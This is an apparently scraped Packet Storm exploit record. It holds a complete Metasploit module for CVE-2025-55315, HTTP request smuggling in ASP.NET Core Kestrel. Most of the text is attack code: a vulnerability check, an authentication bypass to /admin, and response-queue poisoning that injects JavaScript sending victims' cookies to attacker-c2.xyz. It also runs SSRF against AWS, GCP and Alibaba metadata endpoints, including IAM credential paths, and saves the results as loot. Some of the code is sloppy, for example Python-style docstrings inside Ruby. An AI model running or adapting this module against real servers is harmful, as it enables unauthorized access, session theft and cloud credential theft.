{“lastseen”:”2026-04-21T16:48:10″,”description”:”This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by improper parsing of malformed chunked transfer encoding notably LF-only line handling and case-variant headers like chUnKEd…”,”published”:”2026-04-21T00:00:00″,”modified”:”2026-04-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling”,”source”:””,”references”:””,”id”:”PACKETSTORM:219356″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-55315″],”sourceData”:”==================================================================================================================================\\n | # Title : ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling Metasploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/microsoft.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by \\n improper parsing of malformed chunked transfer encoding (notably LF-only line handling and case-variant headers like chUnKEd).\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Report\\n include Msf::Auxiliary::Scanner\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘ASP.NET Core Kestrel HTTP Request Smuggling – CVE-2025-55315’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a critical HTTP Request Smuggling vulnerability in unpatched\\n versions of ASP.NET Core Kestrel due to improper handling of malformed chunk\\n extensions (LF-only line endings).\\n \\n The vulnerability allows:\\n 1. Authentication bypass to access restricted endpoints (\/admin)\\n 2. Session hijacking via response queue poisoning\\n 3. SSRF to internal metadata services (AWS, GCP, Azure)\\n \\n Patched in .NET 9.0.1 \/ 8.0.10+ (October 2025).\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘indoushka’ \\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-55315’],\\n [‘URL’, ‘https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-55315’],\\n [‘URL’, ‘https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2025-55315’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-10-15’,\\n ‘Platform’ =\\u003e ‘windows’,\\n ‘Targets’ =\\u003e [\\n [‘Automatic’, {}]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]\\n }\\n )\\n )\\n \\n register_options([\\n Opt::RPORT(80),\\n OptBool.new(‘SSL’, [false, ‘Use SSL\/TLS’, false]),\\n OptString.new(‘TARGET_URI’, [true, ‘Base path’, ‘\/’]),\\n OptString.new(‘BYPASS_PATH’, [false, ‘Path to bypass authentication’, ‘\/admin’]),\\n OptString.new(‘SSRF_TARGET’, [false, ‘Custom SSRF target URL’, ‘http:\/\/169.254.169.254\/latest\/meta-data\/’]),\\n OptBool.new(‘AUTH_BYPASS’, [true, ‘Attempt authentication bypass’, true]),\\n OptBool.new(‘SESSION_HIJACK’, [true, ‘Attempt session hijacking’, true]),\\n OptBool.new(‘SSRF’, [true, ‘Attempt SSRF’, true]),\\n OptInt.new(‘TIMEOUT’, [true, ‘HTTP timeout in seconds’, 10])\\n ])\\n end\\n \\n def run_host(ip)\\n print_status(\\”Starting CVE-2025-55315 exploitation against #{ip}:#{rport}\\”)\\n \\n # Step 1: Fingerprinting – Check if vulnerable\\n unless vulnerable?\\n print_good(\\”#{ip}:#{rport} appears patched or not vulnerable\\”)\\n return\\n end\\n \\n print_error(\\”#{ip}:#{rport} is VULNERABLE to CVE-2025-55315!\\”)\\n report_vulnerability\\n \\n # Step 2: Execute exploits based on user options\\n exploit_results = {}\\n \\n if datastore[‘AUTH_BYPASS’]\\n exploit_results[:auth_bypass] = auth_bypass\\n end\\n \\n if datastore[‘SESSION_HIJACK’]\\n exploit_results[:session_hijack] = session_hijack\\n end\\n \\n if datastore[‘SSRF’]\\n exploit_results[:ssrf] = ssrf_exploit\\n end\\n \\n # Step 3: Report findings\\n report_exploitation_results(exploit_results)\\n end\\n \\n private\\n \\n def build_chunked_request(method, path, body = ”, extra_headers = [])\\n \\”\\”\\”\\n Build HTTP request with chunked encoding using WAF bypass\\n Uses ‘chUnKEd’ header to bypass WAF rules\\n \\”\\”\\”\\n request = \\”#{method} #{path} HTTP\/1.1\\\\r\\\\n\\”\\n request += \\”Host: #{vhost}\\\\r\\\\n\\”\\n request += \\”Transfer-Encoding: chUnKEd\\\\r\\\\n\\” # WAF bypass\\n request += \\”Content-Type: application\/x-www-form-urlencoded\\\\r\\\\n\\”\\n \\n extra_headers.each do |header|\\n request += \\”#{header}\\\\r\\\\n\\”\\n end\\n \\n request += \\”\\\\r\\\\n\\”\\n request += body\\n \\n request\\n end\\n \\n def build_smuggled_request(method, path, headers = [], body = ”)\\n \\”\\”\\”\\n Build smuggled HTTP request to be injected\\n \\”\\”\\”\\n req = \\”#{method} #{path} HTTP\/1.1\\\\r\\\\n\\”\\n req += \\”Host: #{vhost}\\\\r\\\\n\\”\\n \\n headers.each do |header|\\n req += \\”#{header}\\\\r\\\\n\\”\\n end\\n \\n req += \\”Content-Length: #{body.length}\\\\r\\\\n\\” if body.length \\u003e 0\\n req += \\”\\\\r\\\\n\\”\\n req += body\\n \\n req\\n end\\n \\n def vulnerable?\\n \\”\\”\\”\\n Check if target is vulnerable by sending malformed chunked request\\n \\”\\”\\”\\n print_status(\\”Checking if #{peer} is vulnerable…\\”)\\n \\n # Malformed chunked payload with LF-only line endings\\n test_payload = \\”1\\\\nx\\\\n0\\\\n\\\\n\\”\\n request = build_chunked_request(\\”POST\\”, \\”\/\\”, test_payload)\\n \\n begin\\n response = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘TARGET_URI’]),\\n ‘data’ =\\u003e test_payload,\\n ‘headers’ =\\u003e {\\n ‘Transfer-Encoding’ =\\u003e ‘chUnKEd’\\n },\\n ‘ctype’ =\\u003e ‘application\/x-www-form-urlencoded’\\n }, datastore[‘TIMEOUT’])\\n \\n if response.nil?\\n print_error(\\”No response received\\”)\\n return false\\n end\\n \\n if response.code == 400\\n print_good(\\”Target returned 400 Bad Request – Likely patched\\”)\\n return false\\n else\\n print_good(\\”Target accepted malformed chunked encoding – VULNERABLE!\\”)\\n return true\\n end\\n \\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\\n print_error(\\”Connection failed\\”)\\n return false\\n end\\n end\\n \\n def auth_bypass\\n \\”\\”\\”\\n Bypass authentication to access protected endpoints\\n \\”\\”\\”\\n bypass_path = datastore[‘BYPASS_PATH’]\\n print_status(\\”Attempting authentication bypass to #{bypass_path}\\”)\\n \\n smuggled = build_smuggled_request(\\”GET\\”, bypass_path, [\\n \\”X-Forwarded-For: 127.0.0.1\\”,\\n \\”X-Bypass: true\\”\\n ])\\n \\n exploit_payload = \\”1\\\\nx\\\\n\\” + smuggled + \\”0\\\\r\\\\n\\\\r\\\\n\\”\\n \\n begin\\n response = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘TARGET_URI’]),\\n ‘data’ =\\u003e exploit_payload,\\n ‘headers’ =\\u003e {\\n ‘Transfer-Encoding’ =\\u003e ‘chUnKEd’\\n }\\n }, datastore[‘TIMEOUT’])\\n \\n if response \\u0026\\u0026 response.body\\n \\n indicators = [‘admin’, ‘dashboard’, ‘welcome’, ‘panel’, ‘console’, ‘login’]\\n found = indicators.any? { |i| response.body.downcase.include?(i) }\\n \\n if found || (response.code == 200 \\u0026\\u0026 response.body.length \\u003e 100)\\n print_good(\\”Authentication bypass SUCCESSFUL!\\”)\\n \\n path = store_loot(\\n ‘kestrel.auth_bypass’,\\n ‘text\/html’,\\n rhost,\\n response.body,\\n \\”cve_2025_55315_auth_bypass.html\\”,\\n \\”Authentication bypass response from #{bypass_path}\\”\\n )\\n print_good(\\”Saved response to #{path}\\”)\\n \\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘cve_2025_55315_auth_bypass’,\\n data: { path: bypass_path, status: response.code }\\n )\\n \\n return true\\n end\\n end\\n \\n print_status(\\”Authentication bypass failed\\”)\\n return false\\n \\n rescue ::Exception =\\u003e e\\n print_error(\\”Auth bypass failed: #{e.message}\\”)\\n return false\\n end\\n end\\n \\n def session_hijack\\n \\”\\”\\”\\n Inject JavaScript to steal cookies via response queue poisoning\\n \\”\\”\\”\\n print_status(\\”Attempting session hijacking…\\”)\\n \\n js_payload = %Q|\\n \\u003cscript\\u003e\\n fetch(‘http:\/\/attacker-c2.xyz\/steal?c=’ + encodeURIComponent(document.cookie), {\\n mode: ‘no-cors’\\n });\\n console.log(‘[*] Cookie stolen: ‘ + document.cookie);\\n \\u003c\/script\\u003e\\n |\\n \\n smuggled_response = %Q|HTTP\/1.1 200 OK\\n Content-Type: text\/html\\n Content-Length: #{js_payload.length}\\n \\n #{js_payload}|\\n \\n exploit_payload = \\”0\\\\r\\\\n\\\\r\\\\n\\” + smuggled_response\\n \\n begin\\n response = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘TARGET_URI’]),\\n ‘data’ =\\u003e exploit_payload,\\n ‘headers’ =\\u003e {\\n ‘Transfer-Encoding’ =\\u003e ‘chUnKEd’\\n }\\n }, datastore[‘TIMEOUT’])\\n \\n print_good(\\”Session hijacking payload injected\\”)\\n print_warning(\\”Check your C2 server for stolen cookies\\”)\\n \\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘cve_2025_55315_session_hijack’,\\n data: { payload: js_payload, status: ‘injected’ }\\n )\\n \\n return true\\n \\n rescue ::Exception =\\u003e e\\n print_error(\\”Session hijack failed: #{e.message}\\”)\\n return false\\n end\\n end\\n \\n def ssrf_exploit\\n \\”\\”\\”\\n SSRF to internal services (AWS metadata, internal endpoints)\\n \\”\\”\\”\\n ssrf_target = datastore[‘SSRF_TARGET’]\\n print_status(\\”Attempting SSRF to #{ssrf_target}\\”)\\n \\n # List of common SSRF targets to try\\n targets = [\\n ssrf_target,\\n \\”http:\/\/169.254.169.254\/latest\/meta-data\/\\”,\\n \\”http:\/\/169.254.169.254\/latest\/user-data\/\\”,\\n \\”http:\/\/127.0.0.1:8080\/actuator\/env\\”,\\n \\”http:\/\/localhost:8080\/actuator\/health\\”,\\n \\”http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/\\”,\\n \\”http:\/\/metadata.google.internal\/computeMetadata\/v1\/\\”,\\n \\”http:\/\/100.100.100.200\/latest\/meta-data\/\\”\\n ]\\n \\n targets.uniq.each do |target|\\n print_status(\\”Trying SSRF target: #{target}\\”)\\n \\n # Build smuggled request to internal target\\n uri = URI(target) rescue nil\\n next unless uri\\n \\n host_header = uri.host\\n smuggled = build_smuggled_request(\\”GET\\”, target, [\\n \\”Host: #{host_header}\\”\\n ])\\n \\n exploit_payload = \\”0\\\\r\\\\n\\\\r\\\\n\\” + smuggled\\n \\n begin\\n response = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘TARGET_URI’]),\\n ‘data’ =\\u003e exploit_payload,\\n ‘headers’ =\\u003e {\\n ‘Transfer-Encoding’ =\\u003e ‘chUnKEd’\\n }\\n }, datastore[‘TIMEOUT’])\\n \\n if response \\u0026\\u0026 response.body \\u0026\\u0026 response.body.length \\u003e 50\\n # Check for sensitive data patterns\\n if response.body =~ \/role\/i || \\n response.body =~ \/AccessKeyId\/i || \\n response.body =~ \/SecretAccessKey\/i ||\\n response.body =~ \/Token\/i\\n \\n print_good(\\”SSRF SUCCESS! Found sensitive data from #{target}\\”)\\n \\n # Save the loot\\n path = store_loot(\\n ‘kestrel.ssrf’,\\n ‘text\/plain’,\\n rhost,\\n response.body,\\n \\”cve_2025_55315_ssrf.txt\\”,\\n \\”SSRF response from #{target}\\”\\n )\\n print_good(\\”Saved SSRF response to #{path}\\”)\\n \\n report_vuln(\\n host: rhost,\\n port: rport,\\n name: \\”CVE-2025-55315 SSRF\\”,\\n info: \\”Successfully accessed internal endpoint: #{target}\\”\\n )\\n \\n return true\\n end\\n end\\n \\n rescue ::Exception =\\u003e e\\n print_error(\\”SSRF attempt to #{target} failed: #{e.message}\\”)\\n next\\n end\\n end\\n \\n print_status(\\”SSRF exploitation failed\\”)\\n return false\\n end\\n \\n def report_vulnerability\\n \\”\\”\\”\\n Report the vulnerability to the database\\n \\”\\”\\”\\n report_vuln(\\n host: rhost,\\n port: rport,\\n name: \\”CVE-2025-55315 – ASP.NET Core Kestrel HTTP Request Smuggling\\”,\\n refs: references\\n )\\n \\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘cve_2025_55315_vulnerable’,\\n data: { \\n cve: ‘CVE-2025-55315’,\\n severity: ‘Critical’,\\n cvss: 9.8\\n }\\n )\\n end\\n \\n def report_exploitation_results(results)\\n \\”\\”\\”\\n Print and report exploitation results\\n \\”\\”\\”\\n print_status(\\”\\\\n\\” + \\”=\\” * 60)\\n print_status(\\”Exploitation Results Summary\\”)\\n print_status(\\”=\\” * 60)\\n \\n results.each do |exploit, success|\\n status = success ? \\”SUCCESS\\” : \\”FAILED\\”\\n color = success ? \\”\\\\e[32m\\” : \\”\\\\e[31m\\”\\n print_status(\\”#{exploit.to_s.upcase}: #{color}#{status}\\\\e[0m\\”)\\n end\\n \\n print_status(\\”=\\” * 60)\\n \\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘cve_2025_55315_exploitation’,\\n data: results\\n )\\n end\\n \\n def peer\\n \\”#{rhost}:#{rport}\\”\\n end\\n \\n def vhost\\n datastore[‘VHOST’] || rhost\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219356″,”cvss”:{“score”:9.9,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219356\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-21T16:48:10″,”description”:”This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by improper parsing of malformed chunked transfer encoding notably…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,13,53,7,11,5],"class_list":["post-48290","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n